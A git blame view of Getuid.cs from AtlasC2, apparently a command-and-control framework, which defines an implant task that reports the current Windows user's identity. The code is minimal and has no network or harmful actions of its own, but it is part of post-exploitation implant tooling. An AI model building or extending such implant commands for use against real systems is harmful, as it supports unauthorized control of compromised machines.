AtlasC2/Implant/Tasks/Execute/Administration/Getuid.cs

17 lines
331 B
C#
Raw Normal View History

2021-12-30 19:52:29 -08:00
using System.Security.Principal;
using Implant.Models;
2021-12-26 22:13:21 -08:00
namespace Implant.Tasks.Execute
{
2021-12-30 19:52:29 -08:00
class Getuid : ImplantCommands
2021-12-26 22:13:21 -08:00
{
2021-12-30 19:52:29 -08:00
public override string Name => "Getuid";
public override string Execute(ImplantTask task)
{
2022-01-03 18:00:13 -08:00
return $"{WindowsIdentity.GetCurrent().Name}\n";
2021-12-30 19:52:29 -08:00
}
2021-12-26 22:13:21 -08:00
}
}